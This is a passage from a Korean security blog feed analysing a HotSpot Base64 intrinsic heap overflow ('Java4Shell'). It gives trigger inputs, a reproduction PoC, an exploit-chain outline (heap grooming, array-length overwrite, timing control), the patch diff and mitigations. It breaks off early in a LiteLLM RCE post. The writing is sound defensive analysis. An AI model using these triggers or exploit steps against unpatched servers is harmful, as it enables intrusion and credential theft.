is assumed to be large enough to store the decoded bytes.</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>두 문장이 이번 사건의 전제다. 첫째, 패딩 문자 <code>=</code>는 스텁에게 불법 문자다. 스텁은 <code>=</code>가 섞인 4바이트 블록을 처리하지 않고, 남은 꼬리는 자바 코드가 처리한다. 둘째, <code>dst</code>의 크기는 검사하지 않는다. 호출자(<code>decode0</code>)가 미리 계산한 길이만큼 배열을 잡아 넘기고, 스텁은 그 약속을 신뢰한다.</p>\n<p>그 약속을 만드는 계산은 <code>decodedOutLength()</code>에 있다. 65바이트 입력이면 <code>3 × ceil(65/4) − 1 = 50</code>이다. 배열은 딱 50바이트로 잡힌다. 공개 API <code>decode(byte[])</code>도 <code>decode(ByteBuffer)</code>도 이 함수로 <code>new byte[...]</code>를 만든 뒤 <code>decode0()</code>을 부른다. 그리고 클래스 문서에는 이런 문장도 있다.</p>\n<div class=\"codeblock\"><pre><code>* If the input byte array is not in valid Base64 encoding scheme\n* then some bytes may have been written to the output byte array before\n* IllegalargumentException is thrown.</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>\"예외가 던져지기 전에 일부 바이트가 이미 기록됐을 수 있다\"는 문장은 원래 스펙의 느슨함을 인정하는 표현이었다. Java4Shell에서는 이 문장이 그대로 익스플로잇의 성질이 된다. 손상이 먼저, 거부가 나중이다.</p>\n<h2>2. 루트 코즈: <code>bzhiq(-1, -1)</code>이 전비트 1 마스크가 되는 자리</h2>\n<p>결함은 <code>src/hotspot/cpu/x86/stubGenerator_x86_64.cpp</code>의 <code>StubGenerator::generate_base64_decodeBlock()</code>에 있다. 이 스텁은 입력을 256바이트 블록으로, 남으면 64바이트 블록으로 처리하고, 마지막 1~63바이트는 <code>L_finalBit</code> 레이블에서 따로 다룬다. 빠른 경로는 AVX-512 VBMI 명령을 쓴다. 64바이트를 한 번에 번역하는 <code>evpermt2b</code>, 24비트 묶음을 재배열하는 <code>vpermb</code>, 그리고 마스크가 켜진 바이트만 메모리에 쓰는 <code>evmovdqub</code>(VMOVDQU8)다.</p>\n<p>문제는 마지막 조각의 마스크를 만드는 산수에 있다. Calif가 공개한 의사코드는 다음과 같다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-python\">input_mask := bzhiq(-1, input_length)\noutput_len := (input_length / 4) * 3\n\nif input[input_length - 1] == '=':\n    output_len -= 1\n    input_mask &gt;&gt;= 1\n    if input[input_length - 2] == '=':\n        output_len -= 1\n        input_mask &gt;&gt;= 1\n\noutput_mask := bzhiq(-1, output_len)</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p><code>bzhiq</code>는 \"지정한 비트 위치부터 위쪽 비트를 0으로\" 만드는 명령이다. 인텔 정의에서 인덱스가 오퍼랜드 크기(64) 이상이면 아무 비트도 지우지 않는다. 즉 <code>bzhiq(-1, x)</code>는 <code>x &gt;= 64</code>일 때 <code>-1</code>, 곧 64비트 전부 1을 돌려준다.</p>\n<p>여기서 패딩 처리가 문제를 만든다. 남은 꼬리가 <code>=</code>, <code>==</code>, <code>X=</code>, <code>X==</code>, <code>XY=</code> 형태면 <code>(input_length/4)*3</code>은 0이다. 거기서 패딩 개수만큼 1씩 빼면 <code>output_len</code>이 0이 아니라 −1이나 −2로 내려간다. 부호 없는 64비트로 보면 <code>0xFFFFFFFFFFFFFFFF</code>이고, <code>bzhiq</code>는 그 값을 그대로 통과시킨다. 마스크가 전비트 1이 된다는 뜻은, <code>evmovdqub</code>가 \"마스크가 켜진 바이트만\" 쓰는 대신 64바이트 전부를 쓴다는 뜻이다.</p>\n<p>실제 핫스팟 코드는 이 순서를 그대로 따른다. 패딩을 세는 부분과 저장하는 부분만 옮기면 이렇게 된다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-cpp\">__ BIND(L_finalBit);\n// Now have 1 to 63 bytes left to decode\n__ movq(rax, -1);\n__ bzhiq(rax, rax, length);            // input mask\n__ movl(output_size, length);\n__ shrl(output_size, 2);               // (len / 4)\n__ lea(output_size, Address(output_size, output_size, Address::times_2, 0));  // * 3\n// Strip pad characters, if any, and adjust length and mask\n__ addq(length, start_offset);\n__ cmpb(Address(source, length, Address::times_1, -1), '=');\n__ jcc(Assembler::equal, L_padding);\n...\n__ decrementq(output_size, 1);         // L_padding: 패딩 1개\n__ shrq(rax, 1);\n...\n__ kmovql(input_mask, rax);\n__ movq(output_mask, -1);\n__ bzhiq(output_mask, output_mask, output_size);   // 여기서 언더플로가 마스크로 바뀐다\n...\n__ evmovdqub(Address(dest, dp), k1, tmp, true, Assembler::AVX_512bit);</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>한 가지 더 짚을 게 있다. 패딩을 뺄 때 <code>input_mask</code>도 오른쪽으로 밀린다. 65바이트 입력에서 남은 꼬리는 <code>=</code> 하나이고, <code>input_mask</code>는 <code>0b1</code>에서 <code>0b0</code>이 된다. 그래서 <code>=</code>는 로드 자체에서 빠진다. 원래 스텁은 불법 문자를 만나면 <code>evptestmb</code>로 오류를 잡아 <code>L_bruteForce</code>로 빠져나가는데, 마스크에서 빠진 문자가 검사 대상에 들어가지 않으니 오류 검출도 일어나지 않는다. 저장으로 가는 길이 열린 채 남는다.</p>\n<p>숫자로 정리하면 이렇다.</p>\n<div class=\"table-wrap\"><table><thead><tr><th>단계</th><th>값</th></tr></thead><tbody><tr><td>입력</td><td>65바이트 (<code>'A'×64 + '='</code>)</td></tr><tr><td>64바이트 블록 처리 후 남은 꼬리</td><td>1바이트</td></tr><tr><td><code>decodedOutLength</code>가 잡는 버퍼</td><td><code>3 × 17 − 1 = 50</code>바이트</td></tr><tr><td>꼬리의 <code>output_size</code></td><td><code>(1/4)×3 = 0</code> → 패딩 −1 → <strong>−1</strong></td></tr><tr><td><code>bzhiq(-1, −1)</code></td><td><code>0xFFFFFFFFFFFFFFFF</code> (64비트 전부 1)</td></tr><tr><td>저장 시작 오프셋 <code>dp</code></td><td>48 (앞선 블록이 48바이트를 썼다)</td></tr><tr><td>실제 기록 구간</td><td>48~111 (64바이트)</td></tr><tr><td>버퍼 경계</td><td>0~49</td></tr><tr><td>경계 밖으로 나간 양</td><td><strong>62바이트</strong></td></tr></tbody></table></div>\n<p>끝에 <code>=</code>가 두 개 붙으면(<code>'A'×64 + '=='</code>, 66바이트) 버퍼는 49바이트, 기록은 같은 48부터라 경계 밖으로 나가는 양이 63바이트가 된다. Check Point가 \"패딩에 따라 62 또는 63바이트\"라고 적은 이유다. JDK 17에서 트리거가 <code>'A'×128 + '='</code>인 것은 그 계열에서 64바이트 블록 경로에 닿는 문턱이 더 높기 때문이고, 원리는 같다.</p>\n<p>여기서 익스플로잇의 성질이 결정된다. 공격자가 정하는 것은 <strong>기록 위치</strong>뿐이다. 값은 고정이다. Calif의 표현을 빌리면 스필 64바이트 중 0번 바이트는 완전 제어, 1번 바이트는 4비트 제어, 2~63번은 비제어이며 48~63번은 항상 <code>0x9a</code>다. 메모리를 원하는 값으로 덮는 원시 함수가 아니라, 정해진 64바이트를 정해진 위치에 붙이는 함수다.</p>\n<p>그리고 이 스필은 자바 쪽에서 \"정상적인 거부\"로 보인다. <code>output_size</code>가 −1이므로 스텁 끝의 <code>__ addptr(dest, output_size)</code>가 목적지 포인터를 1 줄이고, 함수는 48이 아니라 47을 반환한다. 호출자 <code>decode0</code>은 그 반환값으로 처리한 문자 수를 역산한다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-java\">int dl = decodeBlock(src, sp, sl, dst, dp, isURL, isMIME);\nint chars_decoded = ((dl + 2) / 3) * 4;   // ((47 + 2) / 3) * 4 = 64\nsp += chars_decoded;\ndp += dl;</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>64문자를 처리한 것으로 계산되니 남은 것은 <code>=</code> 하나다. 다음 루프에서 <code>base64['=']</code>는 −2로 복호되고, <code>shiftto == 18</code> 조건에 걸려 <code>IllegalArgumentException(\"Input byte array has wrong 4-byte ending unit\")</code>이 던져진다. WAF 로그와 애플리케이션 로그에는 \"잘못된 Base64 입력을 거부했다\"만 남는다. 힙에는 이미 62바이트가 밖으로 나가 있고, 48번째 출력 바이트는 조용히 사라졌다.</p>\n<p>Calif가 공개한 PoC는 이 동작을 안전하게 재현한다. 4096바이트 배열을 목적지로 주고 20만 번 정상 디코딩으로 C2를 깨운 뒤, 변형 입력을 넣고 50~111번 오프셋이 바뀌었는지 센다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-java\">byte[] target = new byte[4096];\nfor (int i = 0; i &lt; 200_000; i++) sink += decoder.decode(valid, target);\nArrays.fill(target, (byte) 0x5a);\nboolean rejected = false;\ntry { decoder.decode(malformed, target); }\ncatch (IllegalArgumentException expected) { rejected = true; }\n// 기대: rejected=true, changed=62, first=50, last=111 → \"REPRODUCED\"</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<h2>3. 익스플로잇: 고정 64바이트를 읽기·쓰기 프리미티브로 바꾸는 힙 Feng Shui</h2>\n<p>Calif의 체인은 자바스크립트 엔진 익스플로잇에서 오래 써 온 기법 하나에서 출발한다. <strong>배열 길이 필드 덮어쓰기</strong>다. 길이 필드는 배열 데이터 바로 앞에 있고, 스필의 고정 패턴이 그 4바이트에 걸치도록 힙을 정렬하면 배열의 길이가 커진다. 길이가 부풀려진 배열을 <code>writer</code>라고 부르자. <code>writer</code>는 자기 크기를 넘는 인덱스에도 값을 받아들이고, 그 뒤에 다른 배열을 붙여 두면 그 이웃을 공격자가 고른 값으로 덮을 수 있다. 고정값 기록 하나가 \"경계가 넓어진 선형 쓰기\"로 승격되는 순간이다.</p>\n<p>같은 방법을 읽기에 쓰면 <code>reader</code>가 된다. 이웃 배열의 길이를 키우고, 그 배열의 내용이 애플리케이션 응답에 실려 나오게 만들면 힙 메모리가 밖으로 샌다. Calif는 코드 실행에 도달하기 전 이 단계에 <code>JavaBleed</code>라는 이름을 붙였다. Heartbleed가 TLS 하트비트로 그랬던 것처럼, 자바 힙에는 개인키, 세션 토큰, 다른 서비스의 자격증명, 개인정보가 살아 있는 객체로 남아 있다. RCE가 필요 없는 유출 경로가 이 결함에 내장돼 있다는 뜻이다.</p>\n<p>문제는 정렬이다. G1 GC는 힙을 고정 크기 리전으로 나누고, 각 스레드는 TLAB라는 사설 할당 구역을 받는다. 요청 스레드마다 커서가 다르니, 디코더의 출력 배열과 공격자가 심은 배열이 같은 순서로 붙으리라는 보장이 없다. Calif는 이걸 두 층으로 나눠 풀었다.</p>\n<p>첫째, 할당 경로를 통제한다. 배열 크기와 TLAB에 남은 공간에 따라 HotSpot이 TLAB을 새로 받을지, TLAB 밖 경로로 갈지가 갈린다. 공격자는 자기 배열이 원하는 쪽으로 가도록 크기를 맞춘다. 둘째, 배치는 확률로 푼다. <code>writer</code>/<code>reader</code> 쌍을 여러 개 심어 두고, 디코더 출력의 이웃이 될 후보를 여러 개 만든 뒤 맞으면 진행하고 틀리면 버린다. 정렬이 어긋나면 JVM이 죽지만, 그 경우 재시도하면 된다.</p>\n<p>원격에서 이걸 하려면 요청 전송 자체를 타이밍 축으로 써야 한다. Calif는 요청 본문을 나눠 보내고, 앞부분이 TCP로 확인응답된 시점을 기준으로 힙 할당 시점을 통제했다. 작은 패킷이 큰 패킷보다 안정적이라는 이유로 전송 단위를 잘게 쪼갰고, RTT와 지터에 민감한 공격이라 대상과 같은 리전에 VM을 하나 임대해 네트워크 조건을 물리적으로 고정했다. 실험실이 아니라 공인 IP를 통한 실제 경로에서 얻은 결과다.</p>\n<p>전체 흐름은 여섯 단계로 정리된다.</p>\n<div class=\"table-wrap\"><table><thead><tr><th>단계</th><th>하는 일</th></tr></thead><tbody><tr><td>WARM</td><td>정상 Base64를 반복 디코딩해 JIT가 영향받는 빠른 경로를 고르게 한다. 손상 없음</td></tr><tr><td>REHEARSE</td><td>선택. 타이밍과 응답 형태를 대상에 맞춰 보정하는 안전한 예행</td></tr><tr><td>TRIGGER</td><td>변형된 꼬리를 보낸다. 객체가 정렬돼 있으면 고정 스필이 <code>writer</code>의 길이를 키운다</td></tr><tr><td>DISCLOSE</td><td><code>writer</code>를 계속 밀어 <code>reader</code>를 키우고, 응답에 실려 오는 힙 바이트를 모은다</td></tr><tr><td>REPAIR</td><td>노출된 원본 값으로 임시 헤더와 이웃 객체를 복구해 JVM을 살려 둔다</td></tr><tr><td>FINISH</td><td>대상별 동작(관리자 생성, 토큰 위조 등)을 실제 요청으로 검증한다</td></tr></tbody></table></div>\n<p>Calif가 기본 설정에서 인증 없이 뚫었다고 밝힌 제품은 Keycloak, Jira, Confluence, Artifactory, Jenkins, PingFederate다. 인증 후 단계로는 Kafka Broker, Solr, Elasticsearch, Gerrit, Spinnaker에서 성공했다. 프레임워크 샘플인 Apache Struts와 Spring Boot 애플리케이션에서도 코드 실행이 나왔다. 여기에 samczsun이 건네준 클라이언트 측 체인이 붙는다. 자바 프로그램이 악성 서버에 TLS로 접속하기만 해도 감염될 수 있다는 것으로, 서비스 포트를 열지 않은 클라이언트와 빌드 도구까지 범위가 넓어진다.</p>\n<p>한계도 분명하다. <strong>보편 페이로드는 없다.</strong> 각 사슬에는 디코더에 닿는 경로, 살아 있는 <code>writer</code>, 응답으로 돌아오는 <code>reader</code> 혹은 다른 피드백, 대상에 맞는 힙 배치, 그리고 애플리케이션에서 실제로 의미 있는 동작이 필요하다. 그래서 Calif는 제품별 무기화 체인을 공개하지 않고 업그레이드가 퍼질 때까지 보류한다고 밝혔다. 요청 스트리밍이 필요한 프로필은 본문을 다 모아서 넘기는 프록시(기본 설정의 nginx)에 막히지만, 이건 일반적 완화가 아니다. Elasticsearch는 완성된 요청 하나로 동작하므로 버퍼링으로 막히지 않고, WebSocket 업그레이드 뒤의 프레임은 터널을 지나므로 본문 버퍼링 자체가 적용되지 않는다. 공격자는 실패해도 대개 다시 시도할 수 있다.</p>\n<p>지금 관측되는 트래픽은 아직 이 단계에 못 미친다. GreyNoise가 센 53건은 트리거 형태를 흉내 낸 요청이고, watchTowr의 허니팟에는 <code>java4shell-recon</code> User-Agent가 찍힌다. GitHub에는 검증되지 않은 PoC 저장소가 올라오고 있고, Wiz와 Kevin Breen이 각자 동작하는 익스플로잇을 만들었다고 밝혔지만 공개되지는 않았다. 제품별 체인이 하나라도 풀리면 상황이 바뀐다. 그때 대상이 될 만한 시스템은 이미 정해져 있다. 로그인 전에 Base64를 만지는 인터넷 노출 서비스다.</p>\n<h2>4. 패치와 방어: 4줄의 분기</h2>\n<p>수정은 <code>JDK-8393212</code> \"Base64 optimization improvements\"다. 커밋 <code>5177a70b385c</code>(2026년 10월 13일, Tobias Hartmann·Albert Mingkun Yang, 리뷰 rhalade 등)는 핫스팟 파일 하나에 4줄을 더한다. 제목에는 보안이라는 단어가 없다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-diff\">--- a/src/hotspot/cpu/x86/stubGenerator_x86_64.cpp\n+++ b/src/hotspot/cpu/x86/stubGenerator_x86_64.cpp\n@@ -3395,6 +3395,10 @@ address StubGenerator::generate_base64_decodeBlock() {\n     __ BIND(L_finalBit);\n     // Now have 1 to 63 bytes left to decode\n \n+    // A padded Base64 tail shorter than one complete block is handled by Java.\n+    __ cmpl(length, 4);\n+    __ jcc(Assembler::less, L_bruteForce);\n+\n     // I was going to let Java take care of the final fragment\n     // however it will repeatedly call this routine for every 4 bytes\n     // of input data, so handle the rest here.</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>주석을 빼면 명령 두 개다. 남은 길이가 4보다 작으면 벡터 경로를 포기하고 4바이트씩 처리하는 <code>L_bruteForce</code>로 보낸다. 왜 이걸로 충분한지가 패치를 이해하는 핵심이다.</p>\n<p>언더플로가 성립하는 조건은 <code>(length/4)*3 &lt; 패딩 개수</code>다. 패딩은 최대 2이고, 4~7바이트에서 <code>(length/4)*3</code>은 3이므로 최악의 경우 1이 남는다. 0으로 내려갈 수 없다. 1~3바이트는 애초에 4의 배수 단위를 이룰 수 없는 꼬리이므로, 스텁이 처리할 이유가 없는 구간이기도 하다. <code>L_bruteForce</code>로 보내면 스텁은 실제로 복호한 바이트 수만 돌려주고, 남은 문자는 자바가 원래 하던 방식으로 거부한다. 즉 패치는 마스크 계산을 고치는 대신 <strong>언더플로에 도달하는 경로를 없앤다</strong>. 계산을 불변식으로 지키는 게 아니라, 계산이 성립하는 입력만 통과시키는 쪽을 택한 셈이다.</p>\n<p>버전 대응은 Oracle·OpenJDK 공지와 KISA 보호나라 공지를 함께 보는 게 정확하다.</p>\n<div class=\"table-wrap\"><table><thead><tr><th>제품</th><th>영향받는 버전</th><th>해결 버전</th></tr></thead><tbody><tr><td>Oracle Java SE 8 (성능판)</td><td>8u511b33-perf</td><td>8u513-perf (1.8.0_513-perf-b4)</td></tr><tr><td>Oracle Java SE / OpenJDK 17</td><td>17.0.6 ~ 17.0.21.0.3</td><td><strong>17.0.21.1</strong> (17.0.21.1+4)</td></tr><tr><td>Oracle Java SE / OpenJDK 21</td><td>21.0.13.0.3 이하</td><td><strong>21.0.13.1</strong></td></tr><tr><td>Oracle Java SE / OpenJDK 25</td><td>25.0.5.0.3 이하</td><td><strong>25.0.5.1</strong></td></tr><tr><td>Oracle Java SE / OpenJDK 27</td><td>27.0.1.0.3 이하</td><td><strong>27.0.1.1</strong></td></tr><tr><td>Oracle GraalVM for JDK</td><td>17.0.21.0.3 / 21.0.13.0.3</td><td>17.0.21.1 / 21.0.13.1</td></tr><tr><td>Oracle GraalVM EE</td><td>21.3.20.0.3</td><td>21.3.20.1</td></tr></tbody></table></div>\n<p>표준 자바 8과 자바 11은 이 CVE의 대상이 아니다(8은 성능판만). 17.0.5 이하는 빠진다. 빌드 번호가 <code>.0.3</code>으로 끝나는 것과 <code>.1</code>로 끝나는 것의 차이가 패치 유무라는 점도 기억해 둘 만하다. 배포판은 각자 일정으로 내놓는다. Amazon Corretto 17.0.21.1.2, Microsoft Build of OpenJDK 17.0.21.1·21.0.13.1·25.0.5.1, Eclipse Temurin 17.0.21.1+2·21.0.13.1+2·25.0.5.1+2·27.0.1.1+4, Azul Zulu, Red Hat(RHSB-2026-018), BellSoft Liberica, SAP SapMachine이 각자 공지로 확인해야 하는 대상이다. 업데이트가 없는 18~20, 22~24, 26 계열은 수정판 자체가 없으므로 지원되는 LTS로 옮기는 것이 답이다.</p>\n<p>패치가 오늘 불가능할 때 쓰는 것이 JVM 플래그다. 둘 다 <strong>재시작이 필요하고</strong>, 성능 비용이 있다.</p>\n<ul><li><code>-XX:+UnlockDiagnosticVMOptions -XX:-UseBASE64Intrinsics</code> — 가속 Base64만 끈다. 영향 범위가 가장 좁아 권장된다.</li><li><code>-XX:UseAVX=2</code> — AVX-512 자체를 끈다. Base64 외의 경로에도 영향이 가고, ARM64에서는 이 옵션을 인식하지 못해 JVM이 뜨지 않는다. x86-64 전용이다.</li><li><code>-XX:DisableIntrinsic=_base64_decodeBlock</code> 단독 사용은 피하는 게 좋다. Check Point는 이 조합이 JVM 기동을 막을 수 있다고 경고했다.</li></ul>\n<p>플래그가 실제로 걸렸는지는 실행 중인 프로세스에서 확인한다. 패치는 재시작 없이는 반영되지 않으므로, \"업데이트했다\"와 \"지금 도는 JVM이 고쳐졌다\"는 다른 문장이다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-bash\"># CPU가 대상인지 (네 플래그가 모두 나와야 한다)\ngrep -m1 '^flags' /proc/cpuinfo | tr ' ' '\\n' | grep -E '^(avx512f|avx512bw|avx512vbmi|bmi2)$'\n\n# 런타임 버전과 플래그 확인\njcmd &lt;pid&gt; VM.version\njcmd &lt;pid&gt; VM.flags\njava -XX:+PrintFlagsFinal -version | grep UseBASE64Intrinsics</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>자산 목록에서 빠지기 쉬운 곳이 실제 위험 지점이다. Jira와 Confluence의 self-managed 설치본은 자체 JRE를 들고 오므로 OS 패치로는 해결되지 않는다. Elasticsearch도 번들 런타임을 쓰고, 이 경우 <code>/etc/elasticsearch/jvm.options.d/</code>에 별도 파일을 만들어 플래그를 넣어야 한다(루트 <code>jvm.options</code>는 건드리지 않는다). 컨테이너는 태그가 아니라 digest로 고정된 베이스 이미지를 확인해야 하고, 클라우드에서는 워크로드가 재배치되면서 AVX-512 호스트로 옮겨갈 수 있다. CPU 플래그는 우선순위를 정하는 근거로 쓰고, \"이 호스트는 아니니까 괜찮다\"는 면제 근거로 쓰지 않는 편이 안전하다.</p>\n<p>조치 순서는 이렇게 잡는 것이 합리적이다. 1) Keycloak, PingFederate 같은 신원 제공자. 2) Jira, Confluence, Jenkins, Artifactory. 3) 로그인·토큰·업로드를 처리하는 그 밖의 인터넷 노출 서비스. 4) 내부 시스템과 자바 클라이언트. 5) 번들 런타임을 쓰는 상용 제품은 제조사 업데이트를 별도로 추적.</p>\n<p>탐지는 공격의 성질을 따라간다. 트리거는 실패해도 손상을 남기므로, 원인 불명의 JVM 크래시가 몰리는 구간, <code>hs_err_pid*.log</code>에 <code>decodeBlock</code>이나 AVX-512 스텁 프레임이 찍힌 크래시, 그리고 짧은 Base64 꼬리를 단 요청이 반복되는 패턴이 신호다. <code>IllegalArgumentException</code>만으로는 판별이 어렵다. 이 결함은 거부 로그를 정상처럼 남기도록 설계된 것과 같다. 게이트웨이 계층의 완화는 보조 수단으로만 쓴다. Cloudflare는 관리 규칙셋에 Java4Shell 룰을 넣고 자사 자바 워크로드 전체에 <code>-XX:-UseBASE64Intrinsics</code>를 약 1시간 만에 배포했다고 밝혔고, Check Point는 IPS 보호를 내놨다. 다만 Cloudflare도 적어 두었듯이 WAF는 아웃바운드 TLS 응답처럼 보이지 않는 경로를 덮지 못한다.</p>\n<p>이 결함에서 남는 것은 패치 속도가 아니라 경계에 관한 사실이다. 자바의 메모리 안전은 바이트코드가 지배하는 세계의 규칙이고, JIT가 실행 중에 뽑아내는 어셈블리는 그 규칙 밖에서 C의 위험을 그대로 물려받는다. 50바이트 배열이 안전했던 근거는 검사 코드가 아니라 \"스텁이 dst를 충분히 크다고 가정한다\"는 산문 한 줄이었다. 그 산문을 코드가 지키지 않았고, 사람이 한 시간 동안 AI를 밀어붙여 그 틈을 찾았다. 패치가 고친 것은 마스크 계산이 아니라 그 문장에 닿는 길이다.</p>\n<hr>\n<p><strong>참고: 같은 CSPU에 함께 들어간 자바 SE 패치 10건</strong></p>\n<p><code>CVE-2026-114939</code>(security-libs/org.ietf.jgss, CVSS 3.1 7.4)와 <code>CVE-2026-114940</code>(javax.net.ssl, 7.4)은 8u513·11.0.33.1·17.0.21.1·21.0.13.1·25.0.5.1·27.0.1.1에서 함께 고쳐진다. 정보 노출과 데이터 변조가 함께 걸린 유형이라 자격증명을 다루는 서비스는 이 두 건도 같은 재시작 주기에 묶는 편이 낫다. <code>CVE-2026-114941</code>(hotspot/compiler 7.0)과 <code>CVE-2026-114942</code>(core-libs 7.0)는 각각 21 이상, 17 이상이 대상이고, <code>CVE-2026-114945</code>(core-libs/java.lang 5.3)는 17 이상이다. <code>CVE-2026-114943</code>(hotspot/runtime 6.5), <code>CVE-2026-114944</code>(core-svc/java.lang.management 5.9), <code>CVE-2026-114946</code>(hotspot/compiler 4.8)은 8부터 27까지 전부 해당한다. OpenJFX는 <code>CVE-2026-86144</code>(javafx/web, 7.5)로 libxml2의 XML 외부 엔티티 주입과 SSRF가 잡혔고, 21.0.13.1·25.0.5.1·27.0.1.1이 수정판이다. 이번 CSPU 전체로는 655건이 배포됐다.</p>",
      "date_published": "2026-11-19T09:00:00+09:00",
      "authors": [
        {
          "name": "김도현"
        }
      ],
      "tags": [
        "CVE-2026-114938",
        "Java4Shell",
        "OpenJDK",
        "HotSpot",
        "AVX512VBMI",
        "CWE-122",
        "JavaBleed",
        "JDK-8393212"
      ],
      "image": "https://dohyeontech.github.io/assets/images/thumb_java4shell_cve_2026_114938.png"
    },
    {
      "id": "https://dohyeontech.github.io/posts/litellm-cve-2026-40217/",
      "url": "https://dohyeontech.github.io/posts/litellm-cve-2026-40217/",
      "title": "[긴급 속보] BerriAI LiteLLM 제로데이 취약점(CVE-2026-40217) 실제 악용 확인… 즉시 패치 권고",
      "summary": "LiteLLM 가드레일 테스터의 정규식 34개짜리 샌드박스가 바이트코드 재작성으로 뚫린 CVE-2026-40217이 11월 18일 CISA KEV에 등재됐다. 4월 패치 이후에도 허니팟에는 마스터키 추측과 환경변수 탈취 페이로드가 계속 들어왔고, 연방기관 기한은 12월 2일이다.",
      "content_html": "<p>2026년 11월 18일, CISA는 카탈로그 버전 <code>2026.11.18</code>(총 1,786건)을 내면서 BerriAI LiteLLM의 <code>/guardrails/test_custom_code</code> 바이트코드 재작성 RCE(CVE-2026-40217)를 KEV에 등재했다. 요구 조치 기한은 12월 2일, 랜섬웨어 캠페인 사용 여부는 <code>Unknown</code>, 포렌식 트리아지 의무는 <code>No</code>다. 약점 분류는 CVE 레코드 기준 CWE-420(보호되지 않은 대체 채널)이고, Red Hat 쪽 분석은 CWE-94(코드 생성 통제 실패)를 함께 붙였다. KEV 등재는 \"이 결함이 실제 공격에 쓰였다\"는 관측이고, 동시에 이 사건이 공개 7개월 만에야 그 단계에 도달했다는 뜻이기도 하다.</p>\n<p>시간순으로 놓으면 이 결함의 성격이 더 분명해진다. X41 D-Sec의 Markus Vervier가 2026년 2월 13일 PoC를 만들고 제보했고, 벤더는 2월 24일 커밋 <code>e50b4486</code>으로 관리자 인증 의존성과 34개 정규식 목록을 넣었다. 4월 8일 X41이 권고 X41-2026-001을 공개했을 때 CVSS 4.0 점수는 8.7(<code>AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H</code>), 확인된 패치 버전은 \"TBD\"였다. 4월 15일 벤더가 <code>code_validator.py</code>를 삭제하는 커밋 <code>0a1b442</code>를 냈고, 그 릴리스가 1.83.10이다. NVD 레코드는 4월 10일 게시돼 CVSS 3.1 8.8(<code>AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</code>)로 HIGH에 올랐고, CNA가 매긴 GitHub 권고 GHSA-wxxx-gvqv-xp7p는 5월 7일 공개되면서 이 취약점을 Moderate 5.9(<code>AC:H/PR:H/VC:L/VI:L/VA:H</code>)로 적었다. 같은 결함에 8.7, 8.8, 5.9가 붙어 있는 셈인데, 이 간극이 이 사건의 실질적인 교훈이다. 점수를 낮춘 근거는 \"관리자 자격증명이 필요하다\"였고, 실제 침해에서는 그 전제가 유지되지 않았다.</p>\n<p>전제가 무너지는 방식은 두 갈래다. 첫째, LiteLLM 배포 관행 자체가 관리자 자격증명을 공개 발급물로 만든다. Wiz Research가 2026년 2월 Shodan에서 확인한 인터넷 노출 LiteLLM 인스턴스 3,074대 중 294대(9.6%)가 문서 예제 키인 <code>sk-1234</code>를 그대로 받아들였고, 그중 191대(6.2%)는 마스터키가 아예 설정되지 않아 어떤 문자열이든 통과시켰다. 8월 재스캔에서는 85,000대 이상이 잡혔지만 대부분 허니팟·테스트 배포라 두 수치를 비교할 수는 없다. ZoomEye는 9월 20일 기준 LiteLLM 지문 인스턴스를 35,130개로 셌다. Wiz 데이터로 LiteLLM은 클라우드 환경의 약 3분의 1에 존재한다. 둘째, LiteLLM 자체의 권한 상승 체인(CVE-2026-47101, CVE-2026-47102)이 기본 <code>internal_user</code>를 <code>proxy_admin</code>까지 올려준다. Obsidian Security가 6월 공개한 이 체인은 <code>/key/generate</code>로 관리자 라우트 권한을 가진 키를 발급하고 <code>/user/update</code>로 <code>user_role</code>을 덮어쓰는 두 단계로, 합산 CVSS 9.9다. 결국 <code>PR:H</code>였던 이 취약점의 실효 권한 요구는 \"게이트웨이 어딘가의 낮은 권한 계정\"까지 내려온다.</p>\n<p>게이트웨이가 뚫렸을 때의 파급력은 위치에서 나온다. LiteLLM 프록시는 모든 제공자 API 키(OpenAI, Anthropic, Gemini, Bedrock, Azure)를 들고 있고, 모든 프롬프트와 응답이 그 몸을 지나며, MCP 게이트웨이로 쓰이는 배포에서는 OAuth 토큰과 내부 도구 자격증명까지 붙는다. 여기에 <code>LITELLM_MASTER_KEY</code>, DB 자격증명을 복호화하는 <code>LITELLM_SALT_KEY</code>, <code>DATABASE_URL</code>이 같은 호스트 환경변수에 있다. 이 취약점이 노리는 경로가 바로 그 환경변수다. 아래는 5월 허니팟에서 실제로 잡힌 페이로드가 노린 것과 정확히 일치한다.</p>\n<h2>1. 가드레일 테스터: 신뢰 경계가 문자열 검사 한 겹이었다</h2>\n<p>LiteLLM의 커스텀 코드 가드레일은 관리자가 작성한 Python 함수를 프록시가 컴파일해 요청·응답 경로에서 실행하는 기능이다. <code>apply_guardrail(inputs, request_data, input_type)</code> 시그니처로 allow/block/modify를 돌려주고, 흔한 용도는 PII 마스킹이나 프롬프트 내 시크릿 차단이다. 이 기능에는 코드를 컴파일하는 엔드포인트가 둘 있다. 운영용 <code>POST /guardrails</code>(등록 즉시 인메모리 콜백으로 컴파일)와, 코드를 먼저 테스트해 보는 <code>POST /guardrails/test_custom_code</code>다. 둘은 같은 컴파일 함수를 공유했고, 결함도 공유했다.</p>\n<p>취약점 공개 전의 컴파일 경로는 <code>litellm/proxy/guardrails/guardrail_hooks/custom_code/custom_code_guardrail.py</code>의 <code>_compile_custom_code()</code>였다. 요청 본문의 <code>custom_code</code> 문자열이 검증을 통과하면 그대로 <code>compile()</code>되고, 프리미티브 집합을 복사한 globals로 <code>exec()</code>된다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-python\">exec_globals = 